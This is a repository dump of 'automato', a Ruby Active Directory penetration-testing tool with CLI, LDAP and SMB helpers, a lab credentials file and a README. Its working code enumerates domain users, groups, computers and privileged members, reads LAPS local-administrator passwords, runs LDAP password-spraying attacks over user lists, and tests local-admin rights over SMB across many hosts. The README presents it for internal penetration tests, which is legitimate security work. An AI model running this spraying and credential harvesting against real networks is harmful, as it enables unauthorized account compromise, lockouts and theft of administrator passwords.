├── Gemfile ├── credentials.yaml ├── automato.rb ├── helpers ├── smb_querier.rb ├── connector.rb ├── cli.rb └── ldap_querier.rb └── README.md /Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | gem "net-ldap" 4 | gem "progressbar" 5 | gem "ruby_smb" 6 | gem "thor" 7 | -------------------------------------------------------------------------------- /credentials.yaml: -------------------------------------------------------------------------------- 1 | config: 2 | domain: popped 3 | dn_base: dc=popped,dc=io 4 | username: vagrant 5 | password: vagrant 6 | domain_controller: 172.16.170.172 7 | secure_ldap: false 8 | 9 | -------------------------------------------------------------------------------- /automato.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # automato.rb 3 | # Sanjiv Kawa 4 | # @kawabungah 5 | 6 | require './helpers/connector.rb' 7 | require './helpers/cli.rb' 8 | require './helpers/ldap_querier.rb' 9 | require './helpers/smb_querier.rb' 10 | 11 | puts "automato v2.2" 12 | puts "Written by: Sanjiv Kawa" 13 | puts "Twitter: @kawabungah" 14 | puts "" 15 | 16 | Cli.start(ARGV) 17 | -------------------------------------------------------------------------------- /helpers/smb_querier.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # smb_querier.rb 4 | # Sanjiv Kawa 5 | # @kawabungah 6 | 7 | require './helpers/ldap_querier.rb' 8 | 9 | def local_admin(smb) 10 | client = smb[0] 11 | ip = smb[1] 12 | path = "\\\\#{ip}\\c$" 13 | 14 | begin 15 | tree = client.tree_connect(path) 16 | return "[+] #{client.domain}\\#{client.username} is an administrator on #{ip}" 17 | rescue StandardError => e 18 | return "[-] #{client.domain}\\#{client.username} is not an administrator on #{ip}" 19 | end 20 | end 21 | -------------------------------------------------------------------------------- /helpers/connector.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # connector.rb 4 | # Sanjiv Kawa 5 | # @kawabungah 6 | 7 | require 'rubygems' 8 | require 'net/ldap' 9 | require 'ruby_smb' 10 | require 'socket' 11 | require 'yaml' 12 | 13 | # open up credentials.yaml and set a bunch of instance variables 14 | class Credentials 15 | attr_accessor :domain, :dn_base, :username, :password, :ip, :credentials 16 | 17 | def initialize 18 | yaml_file = "./credentials.yaml" 19 | if File.exist?(yaml_file) == false then return end 20 | config = YAML.load_file(yaml_file) 21 | @domain = config["config"]["domain"] 22 | @dn_base = config["config"]["dn_base"] 23 | @username = config["config"]["username"] 24 | @password = config["config"]["password"] 25 | @ip = config["config"]["domain_controller"] 26 | @credentials = "#{domain}\\#{username}" 27 | end 28 | end 29 | 30 | # the main ldap constructer is built here, there is also a spray method for password spraying attacks 31 | class Connect 32 | def initialize 33 | @creds = Credentials.new 34 | end 35 | 36 | def ldap 37 | @@ldap = Net::LDAP.new :host => @creds.ip, 38 | :port => "389", 39 | :base => @creds.dn_base, 40 | :auth => { 41 | :method => :simple, 42 | :username => @creds.credentials, 43 | :password => @creds.password 44 | } 45 | return @@ldap 46 | end 47 | 48 | def ldaps 49 | @@ldap = Net::LDAP.new :host => @creds.ip, 50 | :port => "636", 51 | :encryption => { 52 | :method => :simple_tls, 53 | :tls_options => { :verify_mode => OpenSSL::SSL::VERIFY_NONE } 54 | }, 55 | :base => @creds.dn_base, 56 | :auth => { 57 | :method => :simple, 58 | :username => @creds.credentials, 59 | :password => @creds.password 60 | } 61 | return @@ldap 62 | end 63 | 64 | # smb client creator 65 | def smb(domain, username, password, ip) 66 | sock = TCPSocket.new ip, 445 67 | dispatcher = RubySMB::Dispatcher::Socket.new(sock) 68 | 69 | begin 70 | client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, domain: domain, username: username, password: password) 71 | protocol = client.negotiate 72 | status = client.authenticate 73 | rescue RubySMB::Error::NetBiosSessionService => e 74 | puts "[!] Connection failed! Target at #{ip}:445 is SMBv3" 75 | end 76 | return client, ip 77 | end 78 | 79 | # LDAP password spray connector 80 | def spray(username,password) 81 | @username = username 82 | @password = password 83 | 84 | @@ldap = Net::LDAP.new :host => @creds.ip, 85 | :port => "389", 86 | :base => @creds.dn_base, 87 | :auth => { 88 | :method => :simple, 89 | :username => @creds.domain + "\\" + @username, 90 | :password => @password 91 | } 92 | end 93 | end 94 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### automato.rb 2 | 3 | automato uses native LDAP libraries to automate the collection and enumeration of various directory objects. This is incredibly useful during an internal penetration test. 4 | 5 | automato can also conduct password spraying attacks, and identify if a user is a local administrator against any number of systems. 6 | 7 | Output files are automatically created for evidence preservation. 8 | 9 | #### Usage 10 | ~~~ 11 | $ ruby automato.rb 12 | automato v2.0 13 | Written by: Sanjiv Kawa 14 | Twitter: @kawabungah 15 | 16 | Commands: 17 | automato.rb all # Run the most popular features. (computers, users, groups, priv, attributes) 18 | automato.rb attr # Get the account attributes for all domain users. 19 | automato.rb bad # Get the bad password count for all domain users. 20 | automato.rb computers # Get all domain computers. 21 | automato.rb groups # Get all domain groups. 22 | automato.rb help [COMMAND] # Describe available commands or one specific command 23 | automato.rb laps # Get the laps password for systems in the network 24 | automato.rb localadmin DOMAIN USERNAME PASSWORD IP_FILE # Identify if a user is a local admin against a list of IP's with SMB open 25 | automato.rb member GROUP # List all users in a supplied domain GROUP. 26 | automato.rb priv # Recurse through administrative groups and get users from all nested groups. 27 | automato.rb spray USER_FILE PASSWORD # Conduct a password spraying attack against the domain using a USER_FILE and common PASSWORD 28 | automato.rb user USER # Get the group memberships for a supplied USER 29 | automato.rb users # Get all domain users. 30 | 31 | $ 32 | ~~~ 33 | 34 | I usually use the following command once domain user credentials have been obtained: 35 | ~~~ 36 | $ ruby automato.rb all 37 | ~~~ 38 | 39 | ### General Use 40 | [![asciicast](https://asciinema.org/a/jZo3xL9gu6nOneluDWaH3ogdx.png)](https://asciinema.org/a/jZo3xL9gu6nOneluDWaH3ogdx) 41 | 42 | ### Retrieve LAPS passwords 43 | [![asciicast](https://asciinema.org/a/aFsp8iQpzKcJSFieILMFskmdm.png)](https://asciinema.org/a/aFsp8iQpzKcJSFieILMFskmdm) 44 | 45 | ### Password Spraying 46 | [![asciicast](https://asciinema.org/a/bGk28X36Hd60lBPvSw59sofe1.png)](https://asciinema.org/a/bGk28X36Hd60lBPvSw59sofe1) 47 | 48 | ### Local Administrator Enumeration 49 | [![asciicast](https://asciinema.org/a/WZCZX2KQlAzSfJwipjQAo4kGl.png)](https://asciinema.org/a/WZCZX2KQlAzSfJwipjQAo4kGl) 50 | -------------------------------------------------------------------------------- /helpers/cli.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # cli.rb 4 | # Sanjiv Kawa 5 | # @kawabungah 6 | 7 | require 'rubygems' 8 | require './helpers/ldap_querier.rb' 9 | require 'thor' 10 | 11 | class Cli < Thor 12 | yaml_file = "./credentials.yaml" 13 | if File.exist?(yaml_file) == false 14 | puts "[!] #{yaml_file} does not exist" 15 | exit(0) 16 | end 17 | 18 | config = YAML.load_file(yaml_file) 19 | ldap = config["config"]["secure_ldap"].to_s.upcase 20 | 21 | if ldap == "TRUE" 22 | @@ldap = Connect.new.ldaps 23 | else 24 | @@ldap = Connect.new.ldap 25 | end 26 | 27 | @@state = validate_credentials(@@ldap) 28 | 29 | desc "all", "Run the most popular features. (computers, users, groups, priv, attributes)" 30 | def all 31 | if @@state == true then run_all(@@ldap) else puts @@state end 32 | end 33 | 34 | desc "users", "Get all domain users." 35 | def users 36 | if @@state == true then domain_users(@@ldap) else puts @@state end 37 | end 38 | 39 | desc "computers", "Get all domain computers." 40 | def computers 41 | if @@state == true then domain_computers(@@ldap) else puts @@state end 42 | end 43 | 44 | desc "groups", "Get all domain groups." 45 | def groups() 46 | if @@state == true then domain_groups(@@ldap) else puts @@state end 47 | end 48 | 49 | desc "priv", "Recurse through administrative groups and get users from all nested groups." 50 | def priv() 51 | if @@state == true then privileged_group_membership(@@ldap) else puts @@state end 52 | end 53 | 54 | desc "attr", "Get the account attributes for all domain users." 55 | def attr() 56 | if @@state == true then attributes(@@ldap) else puts @@state end 57 | end 58 | 59 | desc "user USER", "Get the group memberships for a supplied USER" 60 | def user(user) 61 | if @@state == true then user_group_membership(@@ldap,user) else puts @@state end 62 | end 63 | 64 | desc "member GROUP", "List all users in a supplied domain GROUP." 65 | def member(group) 66 | if @@state == true then group_membership(@@ldap,group) else puts @@state end 67 | end 68 | 69 | desc "bad", "Get the bad password count for all domain users." 70 | def bad() 71 | if @@state == true then bad_password(@@ldap) else puts @@state end 72 | end 73 | 74 | desc "spray USER_FILE PASSWORD", "Conduct a password spraying attack against the domain using a USER_FILE and common PASSWORD" 75 | def spray(user_file,password) 76 | if remote_check(@@ldap.host,@@ldap.port) == true then password_spray(user_file,password) else puts @@ip_state end 77 | end 78 | 79 | desc "laps", "Get the laps password for systems in the network" 80 | def laps() 81 | if @@state == true then laps_password(@@ldap) else puts @@state end 82 | end 83 | 84 | desc "localadmin DOMAIN USERNAME PASSWORD IP_FILE", "Identify if a user is a local admin against a list of IP's with SMB open" 85 | def localadmin(domain, username, password, ip_file) 86 | smb = [] 87 | if File.exist?(ip_file) == true 88 | File.open(ip_file).each do |ip| 89 | ip_state = remote_check(ip.chomp, 445) 90 | if ip_state == true 91 | client = Connect.new.smb(domain,username,password,ip.chomp) 92 | la = local_admin(client) 93 | puts la 94 | smb.push la 95 | else 96 | puts ip_state 97 | smb.push ip_state 98 | end 99 | end 100 | file = "#{$domain}-#{username}-local-administrator.txt" 101 | puts "[+] Systems that #{$domain}\\#{username} is a local administrator on have been written to #{file}" 102 | output_file(file,smb) 103 | else 104 | puts "[!] #{ip_file} does not exist" 105 | exit 106 | end 107 | end 108 | end 109 | -------------------------------------------------------------------------------- /helpers/ldap_querier.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | # ldap_querier.rb 4 | # Sanjiv Kawa 5 | # @kawabungah 6 | 7 | require 'rubygems' 8 | require 'progressbar' 9 | require 'socket' 10 | 11 | $domain = Credentials.new.domain 12 | 13 | # This method will check to see if the IP address and port for the remote host is open 14 | def remote_check(ip, port) 15 | begin 16 | s = Socket.tcp(ip, port, connect_timeout: 0.4) 17 | s.close() 18 | return true 19 | rescue StandardError 20 | return "[!] Connection failed! Target at #{ip}:#{port} is unreachable" 21 | exit 22 | end 23 | end 24 | 25 | # verify if the credentials in credentials.yaml are valid 26 | def validate_credentials(ldap) 27 | remote_check = remote_check(ldap.host,389) 28 | if remote_check == true 29 | if ldap.bind 30 | return true 31 | else 32 | return "[!] Connection failed! Code: #{ldap.get_operation_result.code}, message: #{ldap.get_operation_result.message}" 33 | end 34 | else 35 | return remote_check 36 | end 37 | end 38 | 39 | # grab all groups in the domain 40 | def domain_groups(ldap) 41 | arr = [] 42 | filter = Net::LDAP::Filter.eq("objectClass", "group") 43 | ldap.search( :filter => filter ) do |entry| 44 | arr.push entry.name 45 | end 46 | file = "#{$domain}-groups.txt" 47 | puts "[+] Groups for #{$domain} have been written to #{file}" 48 | output_file(file,arr) 49 | end 50 | 51 | # grab all users in the domain 52 | def domain_users(ldap) 53 | arr = [] 54 | search_filter = Net::LDAP::Filter.eq("objectClass", "user") 55 | ldap.search( :filter => search_filter) do |entry| 56 | unless entry.samaccountname[0][-1].include? '$' 57 | arr.push entry.samaccountname.join(",") 58 | end 59 | end 60 | file = "#{$domain}-users.txt" 61 | puts "[+] Users for #{$domain} have been written to #{file}" 62 | output_file(file,arr) 63 | return arr 64 | end 65 | 66 | def domain_users_file(ldap) 67 | du = [] 68 | file = "#{$domain}-users.txt" 69 | if File.exist?(file) == true 70 | File.open(file).each do |line| 71 | du.push line.chomp 72 | end 73 | else 74 | du = domain_users(ldap) 75 | end 76 | return du 77 | end 78 | 79 | # grab all computers in the domain 80 | def domain_computers(ldap) 81 | arr = [] 82 | fqdn = Credentials.new.dn_base.gsub('dc=','.').gsub(',','') 83 | filter = Net::LDAP::Filter.eq("samaccountName", "*") 84 | filter2 = Net::LDAP::Filter.eq("objectCategory", "computer") 85 | 86 | joined_filter = Net::LDAP::Filter.join(filter, filter2) 87 | 88 | ldap.search( :filter =>joined_filter) do |entry| 89 | computer = entry.samaccountName 90 | arr.push computer.join("\n").to_s.gsub("$",fqdn) 91 | end 92 | 93 | file = "#{$domain}-computers.txt" 94 | puts "[+] Computers for #{$domain} have been written to #{file}" 95 | output_file(file,arr) 96 | return arr 97 | end 98 | 99 | # list the groups that a supplied user is a member of 100 | def user_group_membership(ldap,user) 101 | arr = [] 102 | arr.push "Domain Users" 103 | search_filter = Net::LDAP::Filter.eq("samaccountname", user) 104 | result_attributes = ["memberof"] 105 | results = ldap.search(:filter => search_filter, :attributes => result_attributes) 106 | 107 | if results.empty? == true 108 | puts "[!] #{user} does not exist in #{$domain} domain" 109 | else 110 | member_of = results[0][:memberof] 111 | for i in 0 .. member_of.length-1 112 | arr.push member_of[i].split(",")[0].split("=")[1] 113 | end 114 | file = "#{$domain}-#{user.gsub(" ","-")}-groups.txt" 115 | puts "[+] Groups that #{user} is a member of have been written to #{file}" 116 | output_file(file,arr.uniq) 117 | end 118 | end 119 | 120 | # list the users in a supplied group 121 | def group_membership(ldap,group) 122 | arr = [] 123 | search_filter = Net::LDAP::Filter.eq("cn", group) 124 | results = ldap.search(:filter => search_filter) 125 | 126 | if results.empty? == true 127 | puts "[!] #{group} does not exist in #{$domain} domain" 128 | else 129 | membership = results[0][:member] 130 | for i in 0 .. membership.length-1 131 | arr.push membership[i].split(",")[0].split("=")[1] 132 | end 133 | file = "#{$domain}-#{group.gsub(" ","-")}.txt" 134 | puts "[+] Members in #{group} have been written to #{file}" 135 | output_file(file,arr) 136 | end 137 | return arr 138 | end 139 | 140 | # cycle through common privileged groups and retrieve membership 141 | def privileged_group_membership(ldap) 142 | admin_arr = [] 143 | group_arr = ["Domain Admins", "Enterprise Admins", "Administrators"] 144 | 145 | group_arr.each do |group| 146 | admin_arr += group_membership(ldap,group) 147 | end 148 | 149 | du = domain_users_file(ldap) 150 | 151 | admin_arr.each do |group| 152 | if du.include?(group) 153 | user_group_membership(ldap,group) 154 | else 155 | group_membership(ldap,group) 156 | end 157 | end 158 | end 159 | 160 | # get the bad password count for all users in the domain 161 | def bad_password(ldap) 162 | arr = [] 163 | du = domain_users_file(ldap) 164 | 165 | for i in 0 .. du.length - 1 166 | search_filter = Net::LDAP::Filter.eq("sAMAccountName", du[i]) 167 | ldap.search( :filter => search_filter, :attributes => "badpwdcount", :return_result => false) do |entry| 168 | arr.push "#{du[i]}: #{entry.badpwdcount.join(",")}" 169 | end 170 | end 171 | file = "#{$domain}-bad-password.txt" 172 | puts "[+] Bad passwords for #{$domain} have been written to #{file}" 173 | output_file(file,arr) 174 | end 175 | 176 | # grab the most popular attributes for domain users 177 | def attributes(ldap) 178 | du = domain_users_file(ldap) 179 | arr = [] 180 | 181 | result_attrs = ["displayname", "mail", "description", "pwdlastset", "telephonenumber", "admincount", "badpwdcount"] 182 | 183 | puts "[+] Grabbing attributes for all domain users\n\n" 184 | 185 | progressbar = ProgressBar.create(:total => du.length) 186 | 187 | for i in 0 .. du.length - 1 188 | search_filter = Net::LDAP::Filter.eq("sAMAccountName", du[i]) 189 | ldap.search(:filter => search_filter, :attributes => result_attrs, :return_result => false) do |a| 190 | arr.push "#{$domain}\\#{du[i]}" 191 | a.each do |attribute, value| 192 | arr.push "\t#{attribute}: #{value.first}" 193 | end 194 | arr.push "" 195 | end 196 | progressbar.increment 197 | end 198 | 199 | file = "#{$domain}-attributes.txt" 200 | puts "\n[+] Attributes for all domain users have been written to #{file}" 201 | output_file(file,arr) 202 | end 203 | 204 | def laps_password(ldap) 205 | arr = [] 206 | computers = domain_computers(ldap) 207 | 208 | result_attrs = ["ms-mcs-admpwd", "ms-mcs-admpwdexpirationtime"] 209 | 210 | for i in 0 .. computers.length - 1 211 | search_filter = Net::LDAP::Filter.eq("cn", computers[i].split(".")[0]) 212 | 213 | ldap.search(:filter => search_filter, :attributes => result_attrs) do |a| 214 | a.each do |attribute, value| 215 | puts "#{attribute}: #{value.first}" 216 | arr.push "#{attribute}: #{value.first}" 217 | end 218 | end 219 | puts "" 220 | arr.push "\n" 221 | end 222 | file = "#{$domain}-laps-password.txt" 223 | puts "[+] LAPS password for all domain computers have been written to #{file}" 224 | output_file(file,arr) 225 | end 226 | 227 | # run popular options 228 | def run_all(ldap) 229 | bad_password(ldap) 230 | domain_groups(ldap) 231 | domain_users(ldap) 232 | domain_computers(ldap) 233 | privileged_group_membership(ldap) 234 | attributes(ldap) 235 | end 236 | 237 | # conduct a password spray against the target domain 238 | def password_spray(user_file,password) 239 | users = [] 240 | result = [] 241 | 242 | t = Time.now 243 | date = t.to_s.split(" ")[0] 244 | time = t.to_s.split(" ")[1] 245 | 246 | if File.exist?(user_file) == true 247 | File.open(user_file).each do |line| 248 | users.push line.chomp 249 | end 250 | else 251 | puts "[!] #{user_file} does not exist" 252 | exit 253 | end 254 | 255 | for i in 0 .. users.length - 1 256 | username = users[i] 257 | ldap = Connect.new.spray(username,password) 258 | state = validate_credentials(ldap) 259 | creds = "#{$domain}\\#{username} #{password}" 260 | 261 | if state == true 262 | puts "[+] (#{i+1}/#{users.length}) Success #{creds}" 263 | result.push "[+] (#{i+1}/#{users.length}) Success #{creds}" 264 | else 265 | puts "[-] (#{i+1}/#{users.length}) Failed #{creds}" 266 | result.push "[-] (#{i+1}/#{users.length}) Failed #{creds}" 267 | end 268 | end 269 | 270 | file = "#{$domain}-password-attack-#{password}-#{date}-#{time}.txt" 271 | output_file(file,result) 272 | puts "[+] Password spray for #{$domain} has been written to #{file}" 273 | end 274 | 275 | # write results out to a file 276 | def output_file(file_name,content) 277 | output = File.open(file_name,"w") 278 | output.write(content.join("\n")) 279 | output.close 280 | end 281 | --------------------------------------------------------------------------------